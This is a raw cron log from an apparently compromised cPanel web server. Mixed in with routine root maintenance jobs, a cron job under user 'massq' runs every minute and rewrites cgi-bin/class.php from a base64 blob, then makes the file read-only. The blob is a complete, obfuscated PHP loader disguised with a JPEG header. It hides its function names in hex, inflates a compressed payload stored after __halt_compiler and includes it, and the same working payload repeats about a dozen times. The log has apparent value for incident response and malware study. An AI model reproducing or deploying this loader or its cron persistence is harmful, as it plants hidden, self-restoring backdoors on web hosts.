Sep  2 14:32:01 server CROND[20231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:32:01 server CROND[20232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:33:01 server CROND[20635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:33:01 server CROND[20633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:33:01 server CROND[20634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:34:01 server CROND[21142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:34:01 server CROND[21143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:34:01 server CROND[21144]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:35:01 server CROND[21533]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:35:01 server CROND[21534]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:35:01 server CROND[21541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:35:01 server CROND[21542]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 14:35:01 server CROND[21545]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 14:35:01 server CROND[21548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:35:01 server CROND[21544]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:35:01 server CROND[21547]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 14:35:01 server CROND[21549]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 14:36:01 server CROND[22428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:36:01 server CROND[22429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:36:01 server CROND[22430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:37:01 server CROND[22966]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:37:01 server CROND[22967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:37:01 server CROND[22968]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:38:01 server CROND[23393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:38:01 server CROND[23392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:38:01 server CROND[23394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:39:01 server CROND[23883]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 14:39:01 server CROND[23885]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:39:01 server CROND[23886]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:39:01 server CROND[23887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:40:01 server CROND[24299]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:40:01 server CROND[24300]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 14:40:01 server CROND[24302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:40:01 server CROND[24304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:40:01 server CROND[24305]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 14:40:01 server CROND[24307]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:40:01 server CROND[24310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:40:01 server CROND[24308]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 14:41:01 server CROND[25256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:41:01 server CROND[25257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:41:01 server CROND[25258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:42:02 server CROND[25651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:42:02 server CROND[25652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:42:02 server CROND[25653]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 14:42:02 server CROND[25654]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:43:01 server CROND[26043]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 14:43:01 server CROND[26044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:43:01 server CROND[26045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:44:01 server CROND[26518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:44:01 server CROND[26517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
